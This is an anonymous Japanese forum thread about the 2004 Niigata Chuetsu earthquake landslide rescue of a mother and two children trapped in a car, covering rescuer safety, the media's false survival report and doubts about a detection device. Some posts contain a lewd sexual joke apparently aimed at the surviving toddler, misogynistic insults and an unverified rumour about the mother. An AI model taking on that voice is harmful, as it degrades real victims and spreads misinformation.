もしレスキューの人が救出作業中に崩れた岩盤の下敷きになって
生死がわからない状態になったら、そいつの救出活動はしなくてもいいと思う？

どうにも希望が持てないよ・・・（泣

>>395
シリウスってなぬ？

>>410
フシアナじゃないの？

>>370
測定原理は、そう言う風に働けば良いなってことで
どの程度正確な情報を測定結果が与えてくれるのか
分からないよな。
電磁波の反射を観測するなら、周囲の物によって
大分拡散を受けた情報しか得られないのに、
密度も形状も誘電率も違う実際の現場で
個人個人の心音信号の個数まで分解能をもたらす
なんて測定理論があれば医療技術が先ず採用するだろうし。
要救助者の捜索と言う目的からして、漠然とした情報を
手に入れれば必要十分って思想があるから採用されたんでしょ。

>>404
病院の行うべきことを考えたら、記者会見なんてのは優先順位が最も低い部類だろ。

>>376
その辺の疑問については同意。
プロたちの目から見ても、これだけ時間が経過してあの状態での車内生存は
ほぼ絶望と踏んでいたんじゃないだろうか。
現場到着が午後３時頃だし、生存安否の確認以前の段階だったし。

あの時点で生存者が一人でも確認出来てれば、たとえ徹夜作業になろうとも
救出作業を開始していたと思う。

>>395
霊感がするどい人も必要だな。

>>388は実際に２次災害が起きたらどうなるのかを
考えてみればいいと思う。

自分が被害者でレスキューが我が身を顧みず助けに来てくれて
自分が助かる前に２次災害発生。
それがどういうことか想像してみましょう。

昨日の中越地方にだけかかる
雨雲をお忘れなのですか
余震も続いていましたね

母親は即死だったそうな

妄想で寸劇やるの止メヤメ

>>404
>>355

>>414
うん。
406がいうとおりに笑ったあとでipがでる。

>>409
俺は「結果」には文句はないけどね。
二次災害を考えるなら、今日は止めた方が良いな。
もう少女は死んでる。（恐らく）　

これほど無駄はない。隊員の生命も考えるとな。

お母さんはだめだったんだな・・・
今バイトから帰ってきて初めて知ったよ。
ご冥福をお祈りします。

>>367
暗闇なうえ、車内は完全な静寂だったんだろうな。
お母さんはシートを挟んで目の前にいる筈なのに喋らないし物音も立てない。
光の入らない地中の密室に、体も動かせず２人分の遺体と四日間も閉じ込められて･･･
しかも助けがくるかどうかなんて最初のまる二日間は想像も出来なかっただろうに。
凄く怖かっただろうね、俺だったら精神がどうなってるかわかんない。

ここでレスキュー擁護している連中見てると
おこちゃまにしか見えないのは俺だけか

3人生存って誤報だったんだ
今帰って来て初めて知った
残念だ

マスコミ様へ

佐世保支局長さんに、実況させてあげなよ。
今現地にいるクソマスコミとは、天と地ほどの差のある、
コメントしてくれるはず。

ＴＶ見てても、人の命を　もてあそぶな！　って言いたくなる。

>>427
死んでも助けろってほうがおこちゃまだと思うが？

>>385
死亡を判断できるのは医師だけだからね。
救急隊員にできるのは心肺停止状態って判断だけ。

もっとも、電車の人身事故みたいに、体が真っ二つとか
半分つぶれてるとか、明らかに死んでる場合は別。

貴子さんの姑の心の闇。
まぁ…（絶句）でも長男の長男である孫が助かったからいいわ〜
女の子はかわいいだけでクズみたいなもんだし、
ヨメもいいやっかい払いよｳﾌﾌﾌ

>>427
君と一部の頭のおかしい人だけ

>404
死亡確認って、
結構時間がかかると思う。

命令がほしいとき、出せるように報告しませんか？
わずかだが生命反応があるというよりも三人生存の可能性ありとか。
国交省の調査待って、上官の決断待ってたら、わずかにある生体反応すら
消えてしまう。ひとりでも助けたかったんでしょう。混成部隊だし責任はだれも
取りたがらないし。隊長、部下を信用したんだと思う。士気が高いときに出したいし。
　　三人じゃないのかって？　　機械の不調です！

http://headlines.yahoo.co.jp/hl?a=20041027-00000163-mai-soci
２歳児生存のポイント　目新しいことはないけれどまとめ

母親は即死だったってよ

２まんこ。

でもさ、今となっては３人生存の速報は父親他親族にはキツかったな。
こんな現実なら、はじめから土砂の中から奇跡的に長男だけが生還ってなってた方が良かっただろう。
３人の生存を確認って速報には心の底から喜んだだろうからな。
残酷な誤報だ。

>>437
がーん。

>>427
うん、お前だけ

>>426
涙出てきた・・・

お巡りさんとブルーシートが活躍したらたいていは残念な結果になりますね。

全員死亡から一人生存なら感動できたのに
糠喜び転じて観客(俺)の自己満足を反古しやがって。
って所かいまんとこ？

テレビを肴に愚痴たれるおまえらが消えないかぎり、
今回のような報道は無くならない事に気付かないのも哀れだな、
ちゅうか気付かない振りして楽しんでるだけか。

マスゴミ共はあれだけのヒト・モノ・カネを投入して救助・支援には一切役に立ってないんですね

母親即死って・・・・女の人の声が聞こえたんじゃなかったのかよ！

全体が見えてきたらしい

けど上に１トンの岩が乗っていて出してあげれないらしい
これは…もう

自動車事故とかでずっと車に挟まれてた人が、
急にはずすとなんだかの分泌物質が体中にまわってショック死する症状、あるよね
名前忘れたけど。。。

まさか、やっぱりホントは生きてたとか、、
いやそんなわけないか。

>>10
気にするな。
私も最近日露戦争終結を知った。
なんとか体裁だけの勝利をもぎ取ったらしいが・・・・

>>415
そんな感じだろうな。不確定要素が多すぎな現場で、おおよその見当をつけれれば
十分、って感じなんだろうな。

後、よく考えたら、>>209の説明にあるこれ

＞反射派から位相変調された成分を取り出し、その周波数分布をグラフとして表示します。
＞生存者がいる場合は、心臓の鼓動の周波数と呼吸の周波数の二つのピークがコンピュータの画面に表示されます。

こんなことができるとは思えん・・・。というかなんで鼓動の周波数や呼吸の周波数が電磁波で拾えるのかと。
まだ音響で探査したほうがマシだ。
反射波の位相なんて障害物があればいくらでも変わるのに。
心臓の鼓動なんて数ミリだろうから、短波ですらその動きを拾えないし。

>>446
幼児の悲鳴はたまに女性の声に聞こえたりするケースもある。

>432
この文章を打ち込んでいる時どんな顔して打ってたんだい？
キミの親にその文章を見せるといい。

だからずーと生中継を見ていたものだけど、
お母さんはずーとフロントガラスの向こうにいて
映像に何回も映っていたぞ
夜は全部カットされてたけど
目があいていたけどまばたきしていた
みんなウソだっていうけど、見ていてアレって思った
からウソじゃない。即死っていうのは違う

>>426
2歳なら、母親の胎内にいた真っ暗闇の頃をかすかに覚えていたかもしれないね。
大人なら、正常な精神状態ではいられないと思う。

>>446
声変わりなんか全然していない男児の声と女性の声は
似てるかも知れない。

多分だけど
子供が助かったのはチャイルドシートのおかげだと思うんだよな。
下手に固定されてなかったから、戦闘機の脱出装置と同じ働きをしたんだと思う。

日テレとテレ朝が早かったんじゃないかな。
番組編成上もいいタイミングだったのかもしれないけれど、
１４：３０の時点で最初に「３人生存確認」を打って生中継を
やったのは日テレ、テレ朝の順番で、そのあと他局が続いたはず。

ＮＨＫだけは、「３人生存確認」とは打たずに「男児（長男？）を救出」
とかに留めていたね。
民放もいつの間にかトーンダウンして、気がついたらテロップもこっそり
差し替えられていた。

>>430
じゃなに、子供の遺体は土の中に放置?

自分の家族だったらって想像してみなよ。

>>431
蘇生を止めた時点で死亡が確定しないと困るよな。
蘇生をあきらめた時点で死亡証明だせる医者が、
何時何分〜
って言わないと、人間死なないわけだよね。

長男は(２歳児の為)事故の記憶は思い出せなくても、暗所及び閉所恐怖症のトラウマは残るだろうな･･･

>>446
ごみん、それ私の声だ

>>425
＞もう少女は死んでる。
そりゃ、現場の人たちが一番良く知ってるだろ。
でも足が見えてる以上、たとえ遺体でも今晩中に早く運び出してやりたい
というのが、現場の人たちの気持ちだろう。

夜中の発情したネコの鳴き声も赤ちゃんの泣き声に聞えてくる。

>>240
生きていて解剖できないのにどうやって調べるのか？
幼児の食べ物なんてレントゲンじゃわかんないだろ。
胃カメラなんてできないし。

３人生存などの誤報はぶっちゃけ各マスコミから
一言一文でいいから謝罪はあるべきだとは思うよ。

今回はいくらなんでもいい加減すぎ。
断言しちゃダメだろう。

看護婦さん見てママって言ったってニュースで
真っ暗な車の中で何度ママって言って泣いたんだろうな


な

間違えて「貴子ちゃん」って呼んでたリポーターがいたな…

>>458
助ける側の立場を考える必要もある。極端すぎだお前は。

可愛いお母さんだったのに、亡くなっちゃってかわいそう。
貴子さん、娘さんのご冥福をお祈りします。

なぁ、穿った見方だと思うのだが、もし生き埋め時3人とも助かっていた場合
今度は酸欠死の可能性が出てこないか？

災害は忘れたコロにやってくるってほんとだな。
おれの場合、「災害は金欠のコロにやってくる」だな。
今は防災道具買う金も無いよ。大地震に襲われたらどうしよ・・・
わああああん

>436
チャイルドシートを使わなかった事が延命に繋がったってことになる？


それと前にも書いてあったけど生中継を14時から夕方まで
見守ってた人はマジで母親即死は違和感を覚えるぞ。
ホントに即死みたいだけど。

>>452
私が未熟児の娘（今は元気に学校に通っている）を産んだときに、
長男至上主義の姑から浴びせられたのと似たような言葉ですが何か？

もうマスコミいい加減に新潟から離れろ

>>466｡ﾟ(ﾟ´Д｀ﾟ)゜｡ｳｧｧｧﾝ

アニメなんてまた放送するだろ。

今回の地震の感想、
レスキュー・自衛隊ｶｺｲｲ!
俺が高校生だったら絶対目指そうとしたな。

>>462
昨日のヤベーと言う思いでの
パフォーマンスじゃねえの、今夜の作業継続。

>>468
その助ける側の人たちは今、必死になって救助してるんだけど・・・
これってどういう事？

>>471
砂糖とお水だけ用意しとけばなんとかなるらしいよ
後、無事脱出できたらとにかく駅の方に歩けと
阪神の震災にあった友達が行ってた

>>471
お前が何処に住んでいるのか、今もの凄く気になるんだが。

>>473
人の親ともあろう人が
子供も亡くなっているのにそんなこと書くなよ
厨房じゃあるまいし・・・

エスティマGJ！

生存確率１％は０％ではない、ということだ、>>478

>>473
かわいそうに。
鬼と暮らして自分も鬼になっちゃったんだね。

>>458
家族なら死んででも助けて欲しいと思うのは当然かもしれないが
理性を持った人間ならそれをレスキューに求めることはできないだろう

>>431
レスキュー隊の中に自衛隊から派遣された医師がいたぞ。

マスコミの餌食にされる被害者の悲しみは
大変なものでしょうね〜

>>50
２ちゃんねるでは、かまってちゃんとか、
あらしは、放置が一番とか書いてありますね。
今回の人は、かまってチャンでも無い一般旅行者なんですけど、
かわいそうな気もします。

助かってほしいとは思う。

>>482
生理中でイライラしてるんだろ

>>478
パフォーマンスごときで
いつ崩れるか分からないとこで作業続けれるか

>>473
世の中の姑がみんなそうとは限らないだろ。自分の不幸を
人にまで置き換えるな。

現場中継NHK

>>473
本当ですか？
辛かったでしょう。
頑張るな。マイペースでいけ

>>479
？意味が分からん。
俺はレスキュー隊には、無理しない程度に頑張ってくれと思ってるだけだが。

何がこの子を守ってたんだろう、と思うと
サブいぼがいっぱい出るんですよ
不思議なことがありますな

>>482
オレもそう思う。
もしウチの嫁がそんな事を書きこんでる所を見たらパンチだ。
ちなみにウチは３人娘でつｗ

でもなんか、レスキュー隊員数が多いんだけど、
贔屓目でみてもキビキビ動いてるようには見えなかった。

>>462
人情としては分かるが、そりゃ、プロフェッショナルのする事では無いだろ。
親や親族は辛いだろうが。　
（恐らく）死んだ少女を出すために、１０人くらいの消防隊員の生命を
危険に晒し続けることは無い。

消防隊員にも家族はいるんだぞ。

救助する人に、「わが身を投げ打ってでも救助せよ」なんつー義務はないです。
それどころか「救助にあたる際は２時災害を引き起こさぬよう細心の注意を払うべし。
　ｵﾏｲを助けることで要救助者の救助が遅れるんだぞ」っていう行動理念みたいのがあるんだよ。
レスキュー隊に文句言ってるやつはお前が現場行けよ。

>>458
死んでも助けろの死んでもってのは、レスキューがっつーことです。
子供が死んでてもじゃないよ。

>>479
現場の安全を確認し、救出するメドが立ったからだろ。
何も考えずに突っ込むんじゃなくて、考えて行動しているだけだ。

妄想ちゃんに現実を語ってやってください。

ttp://knowledge.yahoo.co.jp/service/question_detail.php?queId=1254910

>>496
ママと姉ちゃん

５時で上がるなよ

>>497
パンチだ。

という表現可愛い

>>487
救命措置が不可能と判断下したくなかったんだろ。
バイタルは無いって報道はブルーシートが出る前から流れた。

>>499
はげどー

>>473
あなた般若だね
あなたに育てられた娘は奇跡でも起こらない限り
鬼女になるんだろうね…せっかく未熟児から頑張って成長したのに。
親を選べなかったばっかりにさ。

レスキューの人達は、ただ少しだけの可能性にかけて作業を続けてるんだろう。
尊い事だよ。

>>497
自分の母親が鬼姑なうえにダンナ暴力じゃ最低じゃないか

>>499
その（恐らく）に彼等は全てをかけてるんだよ。
誰もがもう亡くなってるだろと思う中
ありがたいことじゃないですか。

>>427
多分オマイと香田と市民団体だけ。

>>473
・・・・・。

役立たずのハイパーなんとかを
２ｃｈで指導してやってる俺ってなんて有能で親切なんだろ！


チョー気持ちイイ！！！！！！！！！

>473
それをこのスレに書いてどうする？
件の祖母はあんたの姑じゃない。
あんたはあんたの姑とやってることが同じだ。哀れだな。

優太点滴をうける。頭蓋骨に異常なし
頭皮の傷から感染症のおそれがあるのでまだ退院はできない

nhk

>>78
どこかの放送局は、
2万人も国民が集まったのに、
1分も放送しなかった。（全く放送しなかった）

誤報はするは、捏造はするわ、
あまり謝らないわ、
言葉遣いも悪いわ、
肝心なことは放送しないわ、
マスゴミでしかないと思う。

体の上に１ｔほどの岩が圧し掛かってるって・・・＞まゆちゃん
さすがにもう決定的か　　　残念

>>515
レスキュー叩きの心情をとても素直に表現していますね。

＞平成16年10月、新潟中越地震災害では、新潟県長岡市妙見町の土砂崩れ現場で、
＞東京消防庁などのレスキュー隊員が、ワゴン車に乗ったまま行方不明になっていた
＞母子を救出するためにシリウスが使用されました。
ttp://public.sakura-rubber.co.jp/fire/chapter04/4-10-01.htm

さすがにメーカー仕事早過ぎだろ、これ。

>>416
>病院の行うべきことを考えたら、記者会見なんてのは優先順位が最も低い部類だろ。

被災者は、この親子3人だけじゃないんだし、いくらでも治療すべき人達が居るんだろ？
この記者会見は、一体　何のために、誰のために、どこからの要請でやったのだ？
マスコミへの”へつらい”なのか？

マスコミは、どこまで救助活動を妨害すれば、気が済むんだ？
現地のマスコミって、何かの役に立っているのか？

フジのビン・ラディン逮捕特番にくらべりゃまだまだだな

>>501
ああ、子供が死んでても助けろじゃないわけね。

確かに死んでたら助けられんが、ここで遺体搬出は無理そうなんで
撤収しますって帰ったらそれはそれでまた叩かれるだろう。

>>496
実は、
「当初、女性の応答あり」　↓
「お母さんは亡くなっていた」
と聞いて、お母さんの魂がお子さんを守ったのかと
素で思って、このスレにとんで来た。

>>399
無 馬太..._〆(ﾟ▽ﾟ*)にヘリ飛ばしたり、救急車や病院の中までずうずうしく撮影しようとしたり
ぜんぜん学習できてないね。　(　ﾟдﾟ)､ﾍﾟｯ

とっとと撤収させろよ
ほかにやるこたぁゴマンとあるだろう
死体の回収にどんだけの人と金をつぎこむ気ぃ？
生きてる被災者を優先してくれ！

>>511
ハハハ、そうだな。
ＳＴＦぐらいにしといてやるか。

>>495
おまえあほか？
今救助している人たちが自分たちの立場等考えて救助していると思っているの
少なくともそう見えるのか、おまえには
どう見たって、家族の側のこと考えて救助してるだろうが
それが、レスキュー隊員なんだよ
無理しない程度にがんばってくれだと
じゃ、今無理してないように見えるのかおまえには！！
ああ、こんなあほと話してんのか、ばからしい

ちっちゃい体に1トンの岩がのしかかってる状態…息があったら奇跡だよ
2歳の子が4日間耐えて怪我だけで済んだのが奇跡なのに

小千谷中継のおっさん超寒そう

救助に行った消防士が２次災害にあって要救助者となる。
本来の被害者の救出や指揮系統に当然多きな支障が出るし、一番あってはいけないことだよ。
「自分の命を投げて○○するのが仕事だろ」なんて例え冗談でも書くな。そんな仕事はテロリスト以外ない。
今の時代、軍隊だろうが消防だろうが、一番徹底的に教え込まれるのは”生きて帰る技術”だ。
命の危険がある仕事だからこそ自分の身の安全が最優先されなければいけないからだ。
消防士は漫画や映画の登場人物ではない。
自分達と何ら変わらない家族を持つ人間なんだという当たり前の視点で判断できない事が許されるのは
せいぜい小学生までだ。
　

>>510
万が一の可能性を確認するために救命活動続行しないと
マスコミが叩き
二次災害が万が一起きたときは、犠牲者を増やしたと
マスコミが叩く。
どっちにしてもマスコミにとっては美味しいネタだな。
マスコミ恐れて現場判断狂ってるんと違うか？それとも
災害救命ど素人のお偉い先生方が鶴の一声かけてるか。

>>413

電磁波人命探査装置（シリウス）
http://public.sakura-rubber.co.jp/fire/chapter04/4-10-01.htm

NHKでｼｭｸﾞｼｬﾜ　っていう人が出てる。

行方不明者ってこの親子だけなのか？

日本だけでしょ、死体を、二次災害の危険の中でも、
引き出そうなんてするのは。

家族もさ、もう、結構ですぐらい、いいなさい。

結果論で考えると、昨日の時点で救出活動をしていればどうだったのか。
雨で岩の隙間から土が進入したのであれば昨日の３時の時点はどうだったのか。
昨日であれば今日の大きな余震は無かった。もしかして今日の大きな余震で圧死したこともあるかも。
２次災害の事も考えたら、大きな余震の前だったらもっと状況は良かったかも。
どうせもう終わってしまった事だ、という事で良いのか。

>>404
足を切断していたり、ひどい状態だと家族にあわせるまえに、ある程度
整えるための処置に時間がかかった可能性があります。

マスコミの中でもテレビ屋なんて、野次馬の親玉みたいなもんだろ。
インパクトのある情報・映像を、いち早く流すために仕事してるんだから、
感動の救出か？悲劇の惨事か？なんだろうと思うよ。
正確さとか被災者の心情とかは、マスコミにとって二の次だろう。

仮に、現場から「車内には3人いる模様」「心音を確認」「呼び掛けに返答有り」
という報告があったとしたら、今回のような誤報になってしまうことは
無理も無いと思うよ。マスコミの能力は、その程度のもんだ。

せめて、救助活動の実況中継は古館にさせるべきだった。

>>522
記者会見やらないとマスコミの連中が騒いで邪魔なんだろ・・・

レスキュー叩いてる人がいるけど、彼らは指示を受けて救助活動をしている、
長野市、松本市、東京都、自衛隊、新潟県の合同チーム、
単なる救助隊ではない、問題は、救助隊に指令する上層部だろう、
どのような理由があったかわからんが、現場で作業している人は、
命がけだ、テレビで見ると、何もしていない人がいるように見えるが、
数人でしか現実には救助できない、大勢だから早く救出できるとは
限らん、証明を照らしている人は照らす事が作業を手伝っている、
照明が消えないように機器を操作しているし、落石がないように
注意を払っている人もいる。役割分担があるんだよ。

社民党の主張

http://wibo.m78.com/clip/img/13165.jpg

どさくさにまぎれてメロンが食いたいだと？
俺様でもめったに食えないのに。
氏ね！

ＮＨＫ，香田に変わったか。

>>544
・・・悲しいね

２次災害って昨日も今日も確率は一緒だよな
たとえ昨日、同じ結果だとしても、すぐに行動するべきだよ
それが今日の１３時半救助開始ってなんなんだ

>>543
マジかよ？　画像編集じゃないの？本当なら北九州でなんかあっても自衛隊はだせないな。

>>483
ランドローバーとかだったら岩が天井を抜けず３人生還だったかもね

家族がやめてもいいといわない限り、救助活動するんだろうな。

>>544
んじゃ、スイカ

最初に三人が生きてるらしいって報道があった時、
すぐ２ちゃんねるに来て、旦那さん良かったな、とか
もうすぐ会えるよ、とかいっぱい書き込んだ。

お母さん死亡のニュースを聞いた時は、本気で鬱った

昨日は大雨だったし

>>548
イラクを新潟に変えたアイコラですって

1tの岩石が落下だろ・・・戦車でも厳しいと思うが。

>546

コラだよ　バカ

>>537
どちらにしろ万全の準備整えるのにそれなりの
時間食うはずだし、雨が振ってきたら中断。
最悪今朝の余震でやばいことになってかも。

まあ行き着くトコは今更どちらがよかったのかは分からない。

>539
マスコミは無責任に情報を流しておけば
あとは大衆が喰らいついて
あれこれ論争するわけだ。
2ちゃんを見ても然り。
たまに故意に不正確・曖昧にして流してるんじゃなかろうか、と思うことがある。
餌をまいて釣をする為に。
それを「いろいろ議論の余地はあるでしょうが」云々で回避して終わりのパターン。

テレビ画面からだけじゃ見えない部分もたっくさんあるからね。

あの落石現場は、少しのゆれで大きく崩落する危険がある。
レスキュー隊に数人の死者が出ても不思議じゃない。
安全面だけを考えるのなら、やらない方がいいレスキュー作業。
使命感だろうな。
実際に車に対して作業しているのは一人だけらしい。
複数では狭くてできないんだと。

607 名前：名無しさん＠５周年[sage] 投稿日：04/10/27 21:38:55 ID:aAR5+p2o
このお母さんも自分が死ぬなんて思わなかっただろう。
今おまいらも自分は今は死なないと思って書き込みしているように。
でもこのお母さんは数十秒の揺れで命を失った。
このお母さんとおまいらの差は、ない。
どうかおまいらこの儚さを忘れずに、
自分の人生に真摯に、そして世界に対し真摯に生きてほしい。

>>547
その確率が分からないから調査をするのだが。

>>529
たぶん>>495の”無理しない程度に”は
死んだり大怪我したりしない程度に十分気をつけて
ってことだと思うよ

余震の危険のなか、困難な仕事を続ける勇者たち（レスキュー隊）に栄光あれ！

ホントに真実を報道すべき事件には、ダンマリの知らん顔してるクセに、

こーゆー場面では、まるで審査員のような　デカイ態度で、

しかも安全な場所から、じっくり観察しているのが、マスコミのクソ。

ポットのミルクを独り占めして、自分だけ生き延びただと？
ふざけるな！
そんなにミルクが好きなら、オレのホットミルクを飲ませてやるよ！！

>>554
いや、アイドルじゃないしｗ

>>529　ん〜レスキュー隊の無理と我々の無理とは次元が違うんじゃないの
レスキュー隊は無理はしないと思う、その代わりぎりぎりまでただがんばる
レスキュー隊がもし無理と判断した場合は、本当に無理な場合なのだろう

体温を感知する赤外線装置の様な物で生存者を確認したと報道していたが
そんな物があるのなら前日に埋まった車を確認したときに使ってもらいたかった
そうしたらもっと早く生存を確認できただろう

一番心が痛むのは、もしかしたら今朝まで生きていて今朝の震度６弱の余震で・・・
なんでもっと早く・・・

>>529
何でそんなに怒っているのかはわからないが･･･

レスキュー隊は十分すぎるほど頑張ってる。
が、レスキュー隊の中に死者がでるような事にはならないようにって意味だ。
娘を助けるためにレスキュー隊の誰かが死んだりでもしたら、
それこそ家族は悲しむと思うよ。

〉457
たしかTBSが最初に『全員生存』のテロップ出してた。
間違ってたらどーすんの？と思ったから覚えてる。

>>547
午前中は、震度６の余震があったんですが・・・こんな大きい余震がある中で
よくやったと思うよ。昼間救助中も何度も地震でテレビの画面がゆれたし・・

>>561
地震国だからな

>>566
それ、ネタだろうけど

>>532
> 「自分の命を投げて○○するのが仕事だろ」なんて例え冗談でも書くな。そんな仕事はテロリスト以外ない。

ほぼ同意だけど、ではテロリストに突っ込まれて崩壊したビルに、死の危険があっても
飛び込んでいったNYCの消防士達はどうなるのかなと。

一瞬思った。

まあ、ハイパーなんとかは使えネーことがよくわかった。

>>534試作品みたいで頼りないね。
つーかバーベキューセットみたい。

>>547
土砂災害と雨の関係を知っていれば、
昨日と今日の２次災害の確率が同じなんてセリフは出てこない。

>>569
昨日は、警察の機動隊が捜索してたらしいよ。
それでダメだったから、今日はチームを組んだんでしょ。

>>565
プロのカメラマンなら、すぐ傍でカメラを回したいはずだが
さすがにレスキュー隊が丁重にお断りしているだろう。
対岸から撮影しているのは、レスキュー隊がそうするように命じているからだ。
何でもマスコミを叩けばいいってもんじゃない。
ちょっとは恥ってものを知れよ。

>>569
昨日の時点では車まで辿り着けなかったからねぇ

>>537
この救出活動を優先してれば
今日救出作業している人に命を
助けられた別の人が死んだね。
つーか、優太君以外即死だから。
結果論で考えると、この人らの救出活動を
最優先してれば死者が増えただろうね。。

もうかわいそうで　この旦那さん　　強く生きてと　久しぶりに同情しちゃった
なんかつらすぎるなー　　人ごとに思えなかったわ。　夜中一人で車で探しまくってた心境とか
どんな気持ちなんだろ　生きた心地しないんだろうなぁ

>>562
正確な確率なんかいつまで計算してもでないよ

まあ、そうしといた方がニュースとして価値があると思っちゃったんだろうなぁ。
せめて、家族には正確な情報がいっていたことを祈る。
ぬか喜びじゃたまらないだろうからなぁ。

この家族に焦点を集めすぎのような気がする。

マスゴミがよくどんな地震でどんな揺れでしたか？とか聞いてるけど
マジで死ねよ、おめーらも現地入りして体感してんだろがカスが
揺れが来た途端にレポーターらしき奴が騒ぎ立てて安否確認したがって
漏れが現地人だったら確実に殴ってる

マスコミは温かい安全地帯から批評しているだけ。
二次災害の危険の中、実際に作業している人たちに、
少しぐらい、感謝の言葉ぐらいかけるのが人間のすることだ。

晩飯もちゃんと食って、温かい部屋で報道番組を見ながら
現場の人間を叩こうとは思わん

>>549
ランドローバーでも潰れるつて

今さらなのだが、あの大きな岩石の群をみると、土砂って言い方はどうか・・・って思う。

『大丈夫ですかぁ〜？』とか、『頑張ってください！』とか叫んでる割には、

着慣れぬ防災服とヘルメットと長靴を履いて、現地で取材しているレポーターども。

邪魔なんだよ！　東京へ帰れ！

やはり事故は現場でおきてんだよね。
会議室でおきてんじゃないんだよな。
現場の人間は、上層部に動かされてんだね。

>>569
>もしかしたら今朝まで生きていて

安心しろ（つーかなんつーか）
ご遺体は死亡から数日経った状態だったそうだ
土砂崩れの最初の一撃で即死したっぽい

>>580
マスコミの方ですか？

>>542
んだけど、全体が効率的に動いてないのが気になる。

優太ちゃんを助けたときに執拗にデジカメで写して、
しばらく搬送の脚を止めたり、
後方のレスキュー隊員が立っててシンドクなったか、自分の背中をぽんぽん
叩いている姿が映ったりと、

全体に救助活動が緩慢な印象を与えたと思う。

シリウスって聞いて「犬」を思い出した自分はステープルドン萌え

自衛官は命捨てるって宣誓させられてます。

殉職しても裁判も起こせないよ。

ウソをウソと見抜けないと、(マスコミを信用するのは)難しい。

現時点の長女掘り起こしも、岩が屋根のようになっているところ
埋もれている車に頭突っ込んで作業してて、とても危険だよね

昨日の雨の斜面よりは滑らないかもしれないけれどさ

はっきり言えば、シリウスはアテにならんだろう。土砂災害の時は特に。

さんざガイシュツだろうが　ヘリは邪魔だ

いろいろ　日本人は便利な機械を考案するが
根本的な　人命救出の機器装置をもっと開発してほしい
自衛隊には医師がいて　警察や消防　保安庁には　医師看護師がいない
なら
すべて　統合して　災害救助隊を創設しようよ
今回自衛隊が　がんばったし感謝しているが
ミサイルや戦車で人は救えない　Ｆ１５は一人の被災者を運べない
突出した予算の何割かを災害救助の組織改革に振り向ける必要に思う
郵政改革をいうなら　人殺しの訓練をする公務員を
人の命を救う公務員に行政改革したらどうでしょうか　小泉首相

>>592
うん。まあ、他にネタがないんだろうね。この隙に東京でテロが起こればマスコミは地震の事なんか忘れちゃうだろうね。

亡くなった母子は気の毒だが、こうしてる間にも避難生活中のお年寄りが
寒さと精神的苦痛で死にかけてるかも知れないんだよ。
生きている人達のことをまずは考えるべきだろう。

あのレポーター達は少しくらい物資を持って行ったリ、ボランティア的な事はしてるのだろうか？
なにもしないならほんと邪魔なだけだ。
レポートも行政を批判するような意見を引き出すような聞き方しかしないし。

>>586
それは俺も思った

>>599
分かったよひろゆき

(V)o\o(V)

>>547
昨日は雨。足場が悪い上に地すべりの危険がある。
余震もあるしね。
でも13：30救助ってのも救助犬とか機材の到着を待ってたんじゃない？
正直、生存確率は低かったし、「声」が聞こえなかったら
救助開始はさらに伸びたかもしれん。
でも声が聞こえた為、全員生存の可能性が高まったので
救助作業開始。
こんな流れでないかい。

まあ、今日のニューステの地震の総集編みたいなのでは
あちこちで突撃取材するシーンが次々に流れたのだが
どのシーンも必ず邪魔者扱いされてもんなぁ。
「はい、どいて！」「ちょっとそこ空けて！」
「こっちこないでっ！」「ここまでにしてください！」

正直、悪気があった人がいるとは思えない。
マスコミも含めて。バカはたくさんいるけど。

>>596
＞全体に救助活動が緩慢な印象を与えたと思う。

私は救助活動すごいなーと思ってみてますよ。
あんなでっかい岩がいっぱいあるんだよ。
いつ落ちてくるかわからない、とても危険な状態で
役割分担して
注意深く作業している。　

余震がおきませんように。

>561
本日の、「心に残った名レス」だよ…

>>606
悲惨な状況を報道することで、義捐金を集める助けにはなっていると思うよ。
まったくマスコミが報道しなかったら、いくらぐらい集まると思う?

>>473
やられたら他人にもやり返すなんてこと考えるなんて
恥だと思ったほうがいいよ。気持ちは分かるけど。

>>580
新幹線脱線の現場で取材していたﾏｽｺﾐって、正直邪魔っぽかったと思う。
ＪＲの人も　丁重に　お断りすれば良かったのにな。

>>587
避難所でも、余震の後、目の前の人に、「大丈夫ですか！大丈夫ですか！」って吼えてた。
お前の３０ｃｍ前の人は、お前が大丈夫なら大丈夫だよ。ほんと、ばかかと小一時間問い詰めたい。

>>613
ほんと、すごいと思うよね。

クマ出没多発は地震の前触れだったのか？
香田君も運が無かったが、紳助も運がつきたようだ。
・・・人気タレントの島田紳助（４８）＝本名・長谷川公彦＝が、大阪市内
のテレビ局で、所属する吉本興業の女性社員（４０）を殴り、けがを
負わせていたことが２６日、明らかになった。
女性社員は頸椎（けいつい＝首）の軽いねん挫。紳助はすぐに謝罪したが、
女性社員は２５日夜に大阪府警大淀署に被害届を提出し、
刑事告訴も辞さない構えという。香田君のニュースバリューは紳助と地震で
ゼロとなりました。無名無職だもんな・・・。

震度６で「余震」ってあんた.…。

まあ、確実に女の子は亡くなってると思うんだけど、ここまで注目された途中でやめられんしな。
遺族のためにも、せめて、男の子だけでも助けられたって、喜んでほしい。
遺族担ぎ出して「なぜ、二人を助けられなかった」ってキャンペーン張るのはやめとけよ。マスコミ。

◆◇◆◇　新潟県中越地震についての運輸各社の現状　◆◇◆◇

＝＝新潟県向けの引受◎、新潟県内での配達・受付◎、援助物資◎
郵便局
ttp://www.post.japanpost.jp/notice/niiigata2004-1024.html
無料援助物資
ttp://www.japanpost.jp/pressrelease/japanese/yubin/041025j202.html

＝＝新潟県向けの引受◎、新潟県内での配達・引受Ｘ、援助物資Ｘ
佐川
ttp://www.sagawa-exp.co.jp/kokuchi-28.html

日通
ttp://www.nittsu.co.jp/info/20041024.html

＝＝新潟県向けの引受Ｘ、新潟県内での配達・受付Ｘ、援助物資Ｘ
ヤマト運輸
ttp://www.kuronekoyamato.co.jp/news/h16_48_02news.html

>>606
マスコミのお仕事は被災地の状況を伝えること。
自分の仕事を的確にこなすことが一番。
ま、それができりゃ苦労はしないわけだが。
いい絵撮りたいってのはわかるが、邪魔になってることが多い気がする。

>>589
そのとおりだ、静かに冥福を祈り、今後の教訓にする位しか出来ない。

新幹線の保線のおっさんら怖かったやろうな〜。
あれ、やばかったやろ。ｗ　正直。
新幹線車両がガタガタ揺れてたし。

この夜中に作業続行、危険過ぎない？

テレビの現場中継見ながら、ガンダムがあればな〜って思った。

>>617
材木を積み重ねた上にジャッキを置いて、よいしょっと持ち上げようとしていたみたいだね。
足元がいいから、ＪＲもあまり危険とは思わなかったんだろうな。
中途半端に列車を吊り上げたところで、大きな与信じゃなくて余震が来たら、えらいことになっていただろうね。

>>628
ドラえもんが居てくれたらな〜
ともおもたよ

>>628
でかすぎ。
せめてアップルシードのアレのほうがまだマシだ。

>>580
